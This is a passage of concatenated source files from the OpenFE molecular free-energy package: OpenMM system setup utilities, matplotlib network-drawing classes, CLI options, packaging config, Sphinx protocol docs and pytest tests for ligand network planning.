view_ligand_network(ligand_network): from openfe.utils.atommapping_network_plotting import ( plot_atommapping_network ) from openfe.setup import LigandNetwork import matplotlib matplotlib.use("TkAgg") with open(ligand_network) as f: graphml = f.read() network = LigandNetwork.from_graphml(graphml) fig = plot_atommapping_network(network) matplotlib.pyplot.show() PLUGIN = OFECommandPlugin( command=view_ligand_network, section="Network Planning", requires_ofe=(0, 7, 0), ) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe """ Reusable utility methods to create Systems for OpenMM-based alchemical Protocols. """ import numpy as np import numpy.typing as npt from openmm import app, MonteCarloBarostat from openmm import unit as omm_unit from openff.toolkit import Molecule as OFFMol from openff.units.openmm import to_openmm, ensure_quantity from openmmforcefields.generators import SystemGenerator from typing import Optional from pathlib import Path from gufe.settings import OpenMMSystemGeneratorFFSettings, ThermoSettings from gufe import ( Component, ProteinComponent, SolventComponent, SmallMoleculeComponent ) from ..openmm_rfe.equil_rfe_settings import ( SystemSettings, SimulationSettings, SolvationSettings ) def get_system_generator( forcefield_settings: OpenMMSystemGeneratorFFSettings, thermo_settings: ThermoSettings, system_settings: SystemSettings, cache: Optional[Path], has_solvent: bool, ) -> SystemGenerator: """ Create a SystemGenerator based on Protocol settings. Paramters --------- forcefield_settings : OpenMMSystemGeneratorFFSettings Force field settings, including necessary information for constraints, hydrogen mass, rigid waters, COM removal, non-ligand FF xmls, and the ligand FF name. thermo_settings : ThermoSettings Thermodynamic settings, including everything necessary to create a barostat. system_settings : SystemSettings System settings including all necessary information for the nonbonded methods. cache : Optional[pathlib.Path] Path to openff force field cache. has_solvent : bool Whether or not the target system has solvent (and by extension might require a barostat). Returns ------- system_generator : openmmforcefields.generator.SystemGenerator System Generator to use for this Protocol. TODO ---- * Investigate how RF can be passed to non-periodic kwargs. """ # get the right constraint constraints = { 'hbonds': app.HBonds, 'none': None, 'allbonds': app.AllBonds, 'hangles': app.HAngles # vvv can be None so string it }[str(forcefield_settings.constraints).lower()] # create forcefield_kwargs entry forcefield_kwargs = { 'constraints': constraints, 'rigidWater': forcefield_settings.rigid_water, 'removeCMMotion': forcefield_settings.remove_com, 'hydrogenMass': forcefield_settings.hydrogen_mass * omm_unit.amu, } # get the right nonbonded method nonbonded_method = { 'pme': app.PME, 'nocutoff': app.NoCutoff, 'cutoffnonperiodic': app.CutoffNonPeriodic, 'cutoffperiodic': app.CutoffPeriodic, 'ewald': app.Ewald }[system_settings.nonbonded_method.lower()] nonbonded_cutoff = to_openmm( system_settings.nonbonded_cutoff ) # create the periodic_kwarg entry periodic_kwargs = { 'nonbondedMethod': nonbonded_method, 'nonbondedCutoff': nonbonded_cutoff, } # Currently the else is a dead branch, we will want to investigate the # possibility of using CutoffNonPeriodic at some point though (for RF) if nonbonded_method is not app.CutoffNonPeriodic: nonperiodic_kwargs = { 'nonbondedMethod': app.NoCutoff, } else: # pragma: no-cover nonperiodic_kwargs = periodic_kwargs # Add barostat if necessary # TODO: move this to its own place where we can handle membranes if has_solvent: barostat = MonteCarloBarostat( ensure_quantity(thermo_settings.pressure, 'openmm'), ensure_quantity(thermo_settings.temperature, 'openmm'), ) else: barostat = None system_generator = SystemGenerator( forcefields=forcefield_settings.forcefields, small_molecule_forcefield=forcefield_settings.small_molecule_forcefield, forcefield_kwargs=forcefield_kwargs, nonperiodic_forcefield_kwargs=nonperiodic_kwargs, periodic_forcefield_kwargs=periodic_kwargs, cache=str(cache) if cache is not None else None, barostat=barostat, ) return system_generator ModellerReturn = tuple[app.Modeller, dict[Component, npt.NDArray]] def get_omm_modeller(protein_comp: Optional[ProteinComponent], solvent_comp: Optional[SolventComponent], small_mols: list[SmallMoleculeComponent], omm_forcefield : app.ForceField, solvent_settings : SolvationSettings) -> ModellerReturn: """ Generate an OpenMM Modeller class based on a potential input ProteinComponent, SolventComponent, and a set of small molecules. Parameters ---------- protein_comp : Optional[ProteinComponent] Protein Component, if it exists. solvent_comp : Optional[ProteinCompoinent] Solvent Component, if it exists. small_mols : list[SmallMoleculeComponents] List of SmallMoleculeComponents to add. omm_forcefield : app.ForceField ForceField object for system. solvent_settings : SolvationSettings Solvation settings. Returns ------- system_modeller : app.Modeller OpenMM Modeller object generated from ProteinComponent and OpenFF Molecules. component_resids : dict[Component, npt.NDArray] Dictionary of residue indices for each component in system. """ component_resids = {} def _add_small_mol(comp: SmallMoleculeComponent, system_modeller: app.Modeller, comp_resids: dict[Component, npt.NDArray]): """ Helper method to add OFFMol to an existing Modeller object and update a dictionary tracking residue indices for each component. """ mol = comp.to_openff() omm_top = mol.to_topology().to_openmm() system_modeller.add( omm_top, ensure_quantity(mol.conformers[0], 'openmm') ) nres = omm_top.getNumResidues() resids = [res.index for res in system_modeller.topology.residues()] comp_resids[comp] = np.array(resids[-nres:]) # Create empty modeller system_modeller = app.Modeller(app.Topology(), []) # If there's a protein in the system, we add it first to the Modeller if protein_comp is not None: system_modeller.add(protein_comp.to_openmm_topology(), protein_comp.to_openmm_positions()) # add missing virtual particles (from crystal waters) system_modeller.addExtraParticles(omm_forcefield) component_resids[protein_comp] = np.array( [r.index for r in system_modeller.topology.residues()] ) # if we solvate temporarily rename water molecules to 'WAT' # see openmm issue #4103 if solvent_comp is not None: for r in system_modeller.topology.residues(): if r.name == 'HOH': r.name = 'WAT' # Now loop through small mols for comp in small_mols: _add_small_mol(comp, system_modeller, component_resids) # Add solvent if neeeded if solvent_comp is not None: conc = solvent_comp.ion_concentration pos = solvent_comp.positive_ion neg = solvent_comp.negative_ion system_modeller.addSolvent( omm_forcefield, model=solvent_settings.solvent_model, padding=to_openmm(solvent_settings.solvent_padding), positiveIon=pos, negativeIon=neg, ionicStrength=to_openmm(conc) ) all_resids = np.array( [r.index for r in system_modeller.topology.residues()] ) existing_resids = np.concatenate( [resids for resids in component_resids.values()] ) component_resids[solvent_comp] = np.setdiff1d( all_resids, existing_resids ) # undo rename of pre-existing waters for r in system_modeller.topology.residues(): if r.name == 'WAT': r.name = 'HOH' return system_modeller, component_resids <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from typing import TypeVar from rdkit import Chem import matplotlib.axes import matplotlib.backend_bases try: from typing import TypeAlias # type: ignore except ImportError: from typing_extensions import TypeAlias RDKitMol: TypeAlias = Chem.rdchem.Mol OEMol = TypeVar('OEMol') MPL_FigureCanvasBase: TypeAlias = matplotlib.backend_bases.FigureCanvasBase MPL_MouseEvent: TypeAlias = matplotlib.backend_bases.MouseEvent MPL_Axes: TypeAlias = matplotlib.axes.Axes <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from plugcli.params import MultiStrategyGetter, Option from openfecli.parameters.utils import import_parameter def _atommapper_from_openfe_setup(user_input, context): return import_parameter("openfe.setup." + user_input) def _atommapper_from_qualname(user_input, context): return import_parameter(user_input) get_atommapper = MultiStrategyGetter( strategies=[ _atommapper_from_qualname, _atommapper_from_openfe_setup, ], error_message=("Unable to create atom mapper from user input " "'{user_input}'. Please check spelling and " "capitalization.") ) MAPPER = Option( "--mapper", getter=get_atommapper, help=("Atom mapper; can either be a name in the openfe.setup namespace " "or a custom fully-qualified name.") ) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe """ Generic tools for plotting networks. Interfaces NetworkX and matplotlib. Create subclasses of ``Node``, ``Edge``, and ``GraphDrawing`` to customize behavior how the graph is visualized or what happens on interactive events. """ from __future__ import annotations import itertools import networkx as nx from matplotlib import pyplot as plt from matplotlib.patches import Rectangle from matplotlib.lines import Line2D from typing import Dict, List, Tuple, Optional, Any, Union, cast from openfe.utils.custom_typing import ( MPL_MouseEvent, MPL_FigureCanvasBase, MPL_Axes, TypeAlias ) ClickLocation: TypeAlias = Tuple[Tuple[float, float], Tuple[Any, Any]] class Node: """Node in the GraphDrawing network. This connects a node in the NetworkX graph to the matplotlib artist. This is the only object that should directly use the matplotlib artist for this node. This acts as an adapter class, allowing different artists to be used, as well as enabling different functionalities. """ # TODO: someday it might be good to separate the artist adapter from the # functionality on select, etc. draggable = True pickable = False lock = None # lock used while dragging; only one Node dragged at a time def __init__(self, node, x: float, y: float, dx=0.1, dy=0.1): self.node = node self.dx = dx self.dy = dx self.artist = self._make_artist(x, y, dx, dy) self.picked = False self.press: Optional[ClickLocation] = None def _make_artist(self, x, y, dx, dy): return Rectangle((x, y), dx, dy, color='blue') def register_artist(self, ax: MPL_Axes): """Register this node's artist with the matplotlib Axes""" ax.add_patch(self.artist) @property def extent(self) -> Tuple[float, float, float, float]: """extent of this node in matplotlib data coordinates""" bounds = self.artist.get_bbox().bounds return (bounds[0], bounds[0] + bounds[2], bounds[1], bounds[1] + bounds[3]) @property def xy(self) -> Tuple[float, float]: """lower left (matplotlib data coordinates) position of this node""" return self.artist.xy def select(self, event: MPL_MouseEvent, graph: GraphDrawing): # -no-cov- """Set this node to its state when it is selected (clicked on)""" return def unselect(self): """Reset this node to its standard, unselected visualization""" self.artist.set(color='blue') def edge_select(self, edge: Edge): """Change node visualization when one of its edges is selected""" self.artist.set(color='red') def update_location(self, x: float, y: float): """Update the location of the underlying artist""" self.artist.set(x=x, y=y) # note: much the stuff below is based on the "Draggable rectangle" # exercise at: # https://matplotlib.org/stable/users/explain/event_handling.html#draggable-rectangle-exercise def contains(self, event: MPL_MouseEvent) -> bool: """Report whether this object contains the given event""" return self.artist.contains(event)[0] def on_mousedown(self, event: MPL_MouseEvent, graph: GraphDrawing): """Handle mousedown event (button_press_event)""" # these early returns probably won't be called in practice, since # the event handler should only call this method when those # conditions are met; still, defensive programming! if event.inaxes != self.artist.axes: return if not self.contains(event): return # record the original click location; lock that we're the only # object being dragged self.press = self.xy, (event.xdata, event.ydata) Node.lock = self # TODO: blitting def on_drag(self, event: MPL_MouseEvent, graph: GraphDrawing): """Handle dragging this node""" if event.inaxes != self.artist.axes or Node.lock is not self: return if self.press: (x0, y0), (xpress, ypress) = self.press else: # this should be impossible in practice, but mypy needed the # explicit check so it didn't unpack None raise RuntimeError("Can't drag until mouse down!") dx = event.xdata - xpress dy = event.ydata - ypress self.update_location(x0 + dx, y0 + dy) # TODO: this might be cached on mousedown edges = graph.edges_for_node(self.node) for edge in edges: edge.update_locations() # TODO: blitting self.artist.figure.canvas.draw() def on_mouseup(self, event: MPL_MouseEvent, graph: GraphDrawing): """Handle mouseup event (button_release_event)""" self.press = None Node.lock = None # TODO: blitting self.artist.figure.canvas.draw() class Edge: """Edge in the GraphDrawing network. This connects an edge in the NetworkX graph to the matplotlib artist. In addition to the edge data, this needs to know the two GraphDrawing ``Node`` instances associated with this edge. Parameters ---------- node_artist1, node_artist2 : :class:`.Node` GraphDrawing nodes for this edge data : Dict data dictionary for this edge """ pickable = True def __init__(self, node_artist1: Node, node_artist2: Node, data: Dict): self.data = data self.node_artists = [node_artist1, node_artist2] self.artist = self._make_artist(node_artist1, node_artist2, data) self.picked = False def _make_artist(self, node_artist1: Node, node_artist2: Node, data: Dict) -> Any: xs, ys = self._edge_xs_ys(node_artist1, node_artist2) return Line2D(xs, ys, color='black', picker=True, zorder=-1) def register_artist(self, ax: MPL_Axes): """Register this edge's artist with the matplotlib Axes""" ax.add_line(self.artist) def contains(self, event: MPL_MouseEvent) -> bool: """Report whether this object contains the given event""" return self.artist.contains(event)[0] @staticmethod def _edge_xs_ys(node1: Node, node2: Node): def get_midpoint(node): x0, x1, y0, y1 = node.extent return (0.5 * (x0 + x1), 0.5 * (y0 + y1)) midpt1 = get_midpoint(node1) midpt2 = get_midpoint(node2) xs, ys = list(zip(*[midpt1, midpt2])) return xs, ys def on_mousedown(self, event: MPL_MouseEvent, graph: GraphDrawing): """Handle mousedown event (button_press_event)""" return # -no-cov- def on_drag(self, event: MPL_MouseEvent, graph: GraphDrawing): """Handle drag event""" return # -no-cov- def on_mouseup(self, event: MPL_MouseEvent, graph: GraphDrawing): """Handle mouseup event (button_release_event)""" return # -no-cov- def unselect(self): """Reset this edge to its standard, unselected visualization""" self.artist.set(color='black') for node_artist in self.node_artists: node_artist.unselect() self.picked = False def select(self, event: MPL_MouseEvent, graph: GraphDrawing): """Mark this edge as selected, update visualization""" self.artist.set(color='red') for artist in self.node_artists: artist.edge_select(self) self.picked = True return True def update_locations(self): """Update the location of this edge based on node locations""" xs, ys = self._edge_xs_ys(*self.node_artists) self.artist.set(xdata=xs, ydata=ys) class EventHandler: """Pass event information to nodes/edges. This is the single place where we connect to the matplotlib event system. This object receives matplotlib events and delegates to the appropriate node or edge. Parameters ---------- graph : GraphDrawing the graph drawing that we're handling events for Attributes ---------- active : Optional[Union[Node, Edge]] Object activated by a mousedown event, or None if either no object activated by mousedown or if mouse is not currently pressed. This is primarily used to handle drag events. selected : Optional[Union[Node, Edge]] Object selected by a mouse click (after mouse is up), or None if no object has been selected in the graph. click_location : Optional[Tuple[int, int]] Cached location of the mousedown event, or None if mouse is up connections : List[int] list of IDs for connections to matplotlib canvas """ def __init__(self, graph: GraphDrawing): self.graph = graph self.active: Optional[Union[Node, Edge]] = None self.selected: Optional[Union[Node, Edge]] = None self.click_location: Optional[Tuple[int, int]] = None self.connections: List[int] = [] def connect(self, canvas: MPL_FigureCanvasBase): """Connect our methods to events in the matplotlib canvas""" self.connections.extend([ canvas.mpl_connect('button_press_event', self.on_mousedown), canvas.mpl_connect('motion_notify_event', self.on_drag), canvas.mpl_connect('button_release_event', self.on_mouseup), ]) def disconnect(self, canvas: MPL_FigureCanvasBase): """Disconnect all connections to the canvas.""" for cid in self.connections: canvas.mpl_disconnect(cid) self.connections = [] def _get_event_container(self, event: MPL_MouseEvent): """Identify which object should process an event. Note that we prefer nodes to edges: If you click somewhere that could be a node or an edge, it is interpreted as clicking on the node. """ containers = itertools.chain(self.graph.nodes.values(), self.graph.edges.values()) for container in containers: if container.contains(event): break else: container = None return container def on_mousedown(self, event: MPL_MouseEvent): """Handle mousedown event (button_press_event)""" self.click_location = event.xdata, event.ydata container = self._get_event_container(event) if container is None: return # cast because mypy can't tell that we did early return if None self.active = cast(Union[Node, Edge], container) self.active.on_mousedown(event, self.graph) def on_drag(self, event: MPL_MouseEvent): """Handle dragging""" if not self.active or event.inaxes != self.active.artist.axes: return self.active.on_drag(event, self.graph) def on_mouseup(self, event: MPL_MouseEvent): """Handle mouseup event (button_release_event)""" if self.click_location == (event.xdata, event.ydata): # mouse hasn't moved; call it a click # first unselect whatever was previously selected if self.selected: self.selected.unselect() # if it is a click and the active object contains it, select it; # otherwise unset selection if self.active and self.active.contains(event): self.active.select(event, self.graph) self.selected = self.active else: self.selected = None if self.active: self.active.on_mouseup(event, self.graph) self.active = None self.click_location = None self.graph.draw() class GraphDrawing: """ Base class for drawing networks with matplotlib. Connects to the matplotlib figure and to the underlying NetworkX graph. Typical use will require a subclass with custom values of ``NodeCls`` and ``EdgeCls`` to handle the specific visualization. Parameters ---------- graph : nx.MultiDiGraph NetworkX graph with information in nodes and edges to be drawn positions : Optional[Dict[Any, Tuple[float, float]]] mapping of node to position """ NodeCls = Node EdgeCls = Edge def __init__(self, graph: nx.Graph, positions=None, ax=None): # TODO: use scale to scale up the positions? self.event_handler = EventHandler(self) self.graph = graph self.nodes: Dict[Node, Any] = {} self.edges: Dict[Tuple[Node, Node], Any] = {} if positions is None: positions = nx.nx_agraph.graphviz_layout(self.graph, prog='neato') was_interactive = plt.isinteractive() plt.ioff() if ax is None: self.fig, self.ax = plt.subplots(figsize=(8, 8)) else: self.fig, self.ax = ax.figure, ax for node, pos in positions.items(): self._register_node(node, pos) self.fig.canvas.draw() # required to get renderer for edge in graph.edges(data=True): self._register_edge(edge) self.reset_bounds() self.ax.set_aspect(1) self.ax.set_xticks([]) self.ax.set_yticks([]) if was_interactive: plt.ion() # -no-cov- self.event_handler.connect(self.fig.canvas) def _ipython_display_(self): # -no-cov- return self.fig def edges_for_node(self, node: Node) -> List[Edge]: """List of edges for the given node""" edges = (list(self.graph.in_edges(node)) + list(self.graph.out_edges(node))) return [self.edges[edge] for edge in edges] def _get_nodes_extent(self): """Find the extent of all nodes (used in setting bounds)""" min_xs, max_xs, min_ys, max_ys = zip(*( node.extent for node in self.nodes.values() )) return min(min_xs), max(max_xs), min(min_ys), max(max_ys) def reset_bounds(self): """Set the bounds of the matplotlib Axes to include all nodes""" # I feel like the following should be a better approach, but it # doesn't seem to work # renderer = self.fig.canvas.get_renderer() # bbox = self.ax.get_tightbbox(renderer) # trans = self.ax.transData.inverted() # [[min_x, min_y], [max_x, max_y]] = trans.transform(bbox) min_x, max_x, min_y, max_y = self._get_nodes_extent() pad_x = (max_x - min_x) * 0.05 pad_y = (max_y - min_y) * 0.05 self.ax.set_xlim(min_x - pad_x, max_x + pad_x) self.ax.set_ylim(min_y - pad_y, max_y + pad_y) def draw(self): """Draw the current canvas""" self.fig.canvas.draw() self.fig.canvas.flush_events() def _register_node(self, node: Any, position: Tuple[float, float]): """Create and register ``Node`` from NetworkX node and position""" if node in self.nodes: raise RuntimeError("node provided multiple times") draw_node = self.NodeCls(node, *position) self.nodes[node] = draw_node draw_node.register_artist(self.ax) def _register_edge(self, edge: Tuple[Node, Node, Dict]): """Create and register ``Edge`` from NetworkX edge information""" node1, node2, data = edge draw_edge = self.EdgeCls(self.nodes[node1], self.nodes[node2], data) self.edges[(node1, node2)] = draw_edge draw_edge.register_artist(self.ax) <file_sep>[build-system] requires = [ "setuptools>=61.2", "versioningit", ] build-backend = "setuptools.build_meta" [project] name = "openfe" description = "" readme = "README.md" authors = [{name = "The OpenFE developers", email = "<EMAIL>"}] license = {text = "MIT"} classifiers = [ "Development Status :: 1 - Planning", "Intended Audience :: Science/Research", "License :: OSI Approved :: MIT License", "Operating System :: POSIX", "Operating System :: Microsoft :: Windows", "Programming Language :: Python :: 3", "Topic :: Scientific/Engineering :: Bio-Informatics", "Topic :: Scientific/Engineering :: Chemistry", ] urls = {Homepage = "https://github.com/OpenFreeEnergy/openfe"} requires-python = ">= 3.9" dependencies = [ "numpy", "networkx", "click", "plugcli", ] dynamic = ["version"] [project.optional-dependencies] test = [ "pytest", "pytest-xdist", ] [project.scripts] openfe = "openfecli.cli:main" [tool.setuptools] zip-safe = false include-package-data = true license-files = ["LICENSE"] [tool.setuptools.packages] find = {namespaces = false} [tool.setuptools.package-data] openfe = ['"./openfe/tests/data/lomap_basic/toluene.mol2"'] [tool.mypy] files = "openfe" ignore_missing_imports = true [tool.coverage.run] omit = [ "*/tests/dev/*py", "*/tests/protocols/test_openmm_rfe_slow.py" ] [tool.coverage.report] exclude_lines = [ 'if __name__ == "__main__"', "pragma: no cover", "pragma: no-cover", "-no-cov", "raise NotImplementedError", ] [tool.versioningit] default-version = "1+unknown" [tool.versioningit.format] distance = "{base_version}+{distance}.{vcs}{rev}" dirty = "{base_version}+{distance}.{vcs}{rev}.dirty" distance-dirty = "{base_version}+{distance}.{vcs}{rev}.dirty" [tool.versioningit.vcs] method = "git" match = ["*"] default-tag = "0.0.0" <file_sep>OpenMM Relative Free Energy Protocol ==================================== This section provides details about the OpenMM Relative Free Energy Protocol implemented in OpenFE. .. module:: openfe.protocols.openmm_rfe Protocol Settings ----------------- Below are the settings which can be tweaked in the protocol. The default settings (accessed using :meth:`RelativeHybridTopologyProtocol.default_settings`) will automatically populate a settings which we have found to be useful for running relative binding free energies using explicit solvent. There will however be some cases (such as when doing gas phase calculations) where you will need to tweak some of the following settings. .. autopydantic_model:: RelativeHybridTopologyProtocolSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :exclude-members: get_defaults :member-order: bysource .. module:: openfe.protocols.openmm_rfe.equil_rfe_settings .. autopydantic_model:: OpenMMSystemGeneratorFFSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :member-order: bysource .. autopydantic_model:: ThermoSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :member-order: bysource .. autopydantic_model:: AlchemicalSamplerSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :member-order: bysource .. autopydantic_model:: AlchemicalSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :member-order: bysource .. autopydantic_model:: OpenMMEngineSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :member-order: bysource .. autopydantic_model:: IntegratorSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :member-order: bysource .. autopydantic_model:: SimulationSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :member-order: bysource .. autopydantic_model:: SolvationSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :member-order: bysource .. autopydantic_model:: SystemSettings :model-show-json: False :model-show-field-summary: False :model-show-config-member: False :model-show-config-summary: False :model-show-validator-members: False :model-show-validator-summary: False :field-list-validators: False :inherited-members: SettingsBaseModel :member-order: bysource Protocol API specification -------------------------- .. module:: openfe.protocols.openmm_rfe :noindex: .. autoclass:: RelativeHybridTopologyProtocol :no-members: .. automethod:: default_settings .. automethod:: create .. automethod:: gather .. autoclass:: RelativeHybridTopologyProtocolResult <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from rdkit import Chem import pytest import networkx as nx import openfe.setup from ..conftest import mol_from_smiles class BadMapper(openfe.setup.atom_mapping.LigandAtomMapper): def _mappings_generator(self, molA, molB): yield {0: 0} @pytest.fixture(scope='session') def toluene_vs_others(atom_mapping_basic_test_files): central_ligand_name = 'toluene' others = [v for (k, v) in atom_mapping_basic_test_files.items() if k != central_ligand_name] toluene = atom_mapping_basic_test_files[central_ligand_name] return toluene, others @pytest.mark.parametrize('as_list', [False, True]) def test_radial_network(atom_mapping_basic_test_files, toluene_vs_others, as_list): toluene, others = toluene_vs_others central_ligand_name = 'toluene' mapper = openfe.setup.atom_mapping.LomapAtomMapper() if as_list: mapper = [mapper] network = openfe.setup.ligand_network_planning.generate_radial_network( ligands=others, central_ligand=toluene, mappers=mapper, scorer=None, ) # couple sanity checks assert len(network.nodes) == len(atom_mapping_basic_test_files) assert len(network.edges) == len(others) # check that all ligands are present, i.e. we included everyone ligands_in_network = {mol.name for mol in network.nodes} assert ligands_in_network == set(atom_mapping_basic_test_files.keys()) # check that every edge has the central ligand within assert all((central_ligand_name in {mapping.componentA.name, mapping.componentB.name}) for mapping in network.edges) def test_radial_network_with_scorer(toluene_vs_others): toluene, others = toluene_vs_others def scorer(mapping): return 1.0 / len(mapping.componentA_to_componentB) network = openfe.setup.ligand_network_planning.generate_radial_network( ligands=others, central_ligand=toluene, mappers=[BadMapper(), openfe.setup.atom_mapping.LomapAtomMapper()], scorer=scorer ) assert len(network.edges) == len(others) for edge in network.edges: assert len(edge.componentA_to_componentB) > 1 # we didn't take the bad mapper assert 'score' in edge.annotations assert edge.annotations['score'] == 1.0 / len(edge.componentA_to_componentB) def test_radial_network_multiple_mappers_no_scorer(toluene_vs_others): toluene, others = toluene_vs_others mappers = [BadMapper(), openfe.setup.atom_mapping.LomapAtomMapper()] # in this one, we should always take the bad mapper network = openfe.setup.ligand_network_planning.generate_radial_network( ligands=others, central_ligand=toluene, mappers=[BadMapper(), openfe.setup.atom_mapping.LomapAtomMapper()] ) assert len(network.edges) == len(others) for edge in network.edges: assert edge.componentA_to_componentB == {0: 0} def test_radial_network_failure(atom_mapping_basic_test_files): nigel = openfe.SmallMoleculeComponent(mol_from_smiles('N')) with pytest.raises(ValueError, match='No mapping found for'): network = openfe.setup.ligand_network_planning.generate_radial_network( ligands=[nigel], central_ligand=atom_mapping_basic_test_files['toluene'], mappers=[openfe.setup.atom_mapping.LomapAtomMapper()], scorer=None ) @pytest.mark.parametrize('with_progress', [True, False]) @pytest.mark.parametrize('with_scorer', [True, False]) @pytest.mark.parametrize('extra_mapper', [True, False]) def test_generate_maximal_network(toluene_vs_others, with_progress, with_scorer, extra_mapper): toluene, others = toluene_vs_others if extra_mapper: mappers = [ openfe.setup.atom_mapping.LomapAtomMapper(), BadMapper() ] else: mappers = openfe.setup.atom_mapping.LomapAtomMapper() def scoring_func(mapping): return 1.0 / len(mapping.componentA_to_componentB) scorer = scoring_func if with_scorer else None network = openfe.setup.ligand_network_planning.generate_maximal_network( ligands=others + [toluene], mappers=mappers, scorer=scorer, progress=with_progress, ) assert len(network.nodes) == len(others) + 1 if extra_mapper: edge_count = len(others) * (len(others) + 1) else: edge_count = len(others) * (len(others) + 1) / 2 assert len(network.edges) == edge_count if scorer: for edge in network.edges: score = edge.annotations['score'] assert score == 1.0 / len(edge.componentA_to_componentB) else: for edge in network.edges: assert 'score' not in edge.annotations @pytest.mark.parametrize('multi_mappers', [False, True]) def test_minimal_spanning_network_mappers(atom_mapping_basic_test_files, multi_mappers): ligands = [atom_mapping_basic_test_files['toluene'], atom_mapping_basic_test_files['2-naftanol'], ] if multi_mappers: mappers = [BadMapper(), openfe.setup.atom_mapping.LomapAtomMapper()] else: mappers = openfe.setup.atom_mapping.LomapAtomMapper() def scorer(mapping): return 1.0 / len(mapping.componentA_to_componentB) network = openfe.ligand_network_planning.generate_minimal_spanning_network( ligands=ligands, mappers=mappers, scorer=scorer, ) assert isinstance(network, openfe.LigandNetwork) assert list(network.edges) @pytest.fixture(scope='session') def minimal_spanning_network(toluene_vs_others): toluene, others = toluene_vs_others mappers = [BadMapper(), openfe.setup.atom_mapping.LomapAtomMapper()] def scorer(mapping): return 1.0 / len(mapping.componentA_to_componentB) network = openfe.setup.ligand_network_planning.generate_minimal_spanning_network( ligands=others + [toluene], mappers=mappers, scorer=scorer ) return network def test_minimal_spanning_network(minimal_spanning_network, toluene_vs_others): tol, others = toluene_vs_others assert len(minimal_spanning_network.nodes) == len(others) + 1 for edge in minimal_spanning_network.edges: assert edge.componentA_to_componentB != {0: 0} # lomap should find something def test_minimal_spanning_network_connectedness(minimal_spanning_network): found_pairs = set() for edge in minimal_spanning_network.edges: pair = frozenset([edge.componentA, edge.componentB]) assert pair not in found_pairs found_pairs.add(pair) assert nx.is_connected(nx.MultiGraph(minimal_spanning_network.graph)) def test_minimal_spanning_network_regression(minimal_spanning_network): # issue #244, this was previously giving non-reproducible (yet valid) # networks when scores were tied. edge_ids = sorted( (edge.componentA.name, edge.componentB.name) for edge in minimal_spanning_network.edges ) ref = sorted([ ('1,3,7-trimethylnaphthalene', '2,6-dimethylnaphthalene'), ('1-butyl-4-methylbenzene', '2-methyl-6-propylnaphthalene'), ('2,6-dimethylnaphthalene', '2-methyl-6-propylnaphthalene'), ('2,6-dimethylnaphthalene', '2-methylnaphthalene'), ('2,6-dimethylnaphthalene', '2-naftanol'), ('2,6-dimethylnaphthalene', 'methylcyclohexane'), ('2,6-dimethylnaphthalene', 'toluene'), ]) assert len(edge_ids) == len(ref) assert edge_ids == ref def test_minimal_spanning_network_unreachable(toluene_vs_others): toluene, others = toluene_vs_others nimrod = openfe.SmallMoleculeComponent(mol_from_smiles("N")) def scorer(mapping): return 1.0 / len(mapping.componentA_to_componentB) with pytest.raises(RuntimeError, match="Unable to create edges"): network = openfe.setup.ligand_network_planning.generate_minimal_spanning_network( ligands=others + [toluene, nimrod], mappers=[openfe.setup.atom_mapping.LomapAtomMapper()], scorer=scorer ) def test_network_from_names(atom_mapping_basic_test_files): ligs = list(atom_mapping_basic_test_files.values()) requested = [ ('toluene', '2-naftanol'), ('2-methylnaphthalene', '2-naftanol'), ] network = openfe.setup.ligand_network_planning.generate_network_from_names( ligands=ligs, names=requested, mapper=openfe.LomapAtomMapper(), ) assert len(network.nodes) == len(ligs) assert len(network.edges) == 2 actual_edges = [(e.componentA.name, e.componentB.name) for e in network.edges] assert set(requested) == set(actual_edges) def test_network_from_names_bad_name(atom_mapping_basic_test_files): ligs = list(atom_mapping_basic_test_files.values()) requested = [ ('hank', '2-naftanol'), ('2-methylnaphthalene', '2-naftanol'), ] with pytest.raises(KeyError, match="Invalid name"): _ = openfe.setup.ligand_network_planning.generate_network_from_names( ligands=ligs, names=requested, mapper=openfe.LomapAtomMapper(), ) def test_network_from_names_duplicate_name(atom_mapping_basic_test_files): ligs = list(atom_mapping_basic_test_files.values()) ligs = ligs + [ligs[0]] requested = [ ('toluene', '2-naftanol'), ('2-methylnaphthalene', '2-naftanol'), ] with pytest.raises(ValueError, match="Duplicate names"): _ = openfe.setup.ligand_network_planning.generate_network_from_names( ligands=ligs, names=requested, mapper=openfe.LomapAtomMapper(), ) def test_network_from_indices(atom_mapping_basic_test_files): ligs = list(atom_mapping_basic_test_files.values()) requested = [(0, 1), (2, 3)] network = openfe.setup.ligand_network_planning.generate_network_from_indices( 